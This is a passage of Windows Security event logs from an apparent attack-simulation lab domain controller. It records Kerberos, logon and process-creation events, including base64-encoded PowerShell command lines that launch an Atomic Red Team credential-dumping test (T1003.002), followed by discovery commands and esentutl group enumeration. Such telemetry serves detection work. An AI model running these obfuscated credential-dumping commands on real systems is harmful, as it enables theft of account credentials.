the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257848 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257847 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb90 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x578 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257846 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x578 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc88 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257845 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55ED3E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257844 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55ED3E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A77B5426-D237-0634-10D2-35D5D645BEF1} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257843 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A77B5426-D237-0634-10D2-35D5D645BEF1} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257842 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A77B5426-D237-0634-10D2-35D5D645BEF1} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257841 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257871 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2d8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf04 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES9C4F.tmp" "c:\Users\Administrator\AppData\Local\Temp\o4guj53h\CSC11681F8857874204A4738AD12CE08217.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257870 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf04 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13a4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\o4guj53h\o4guj53h.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257869 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x50c - New Process Name: C:\Windows\System32\whoami.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13a4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\whoami.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257868 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcec - New Process Name: C:\Windows\System32\HOSTNAME.EXE - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13a4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\HOSTNAME.EXE" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257867 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13a4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfe4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257913 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257912 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft 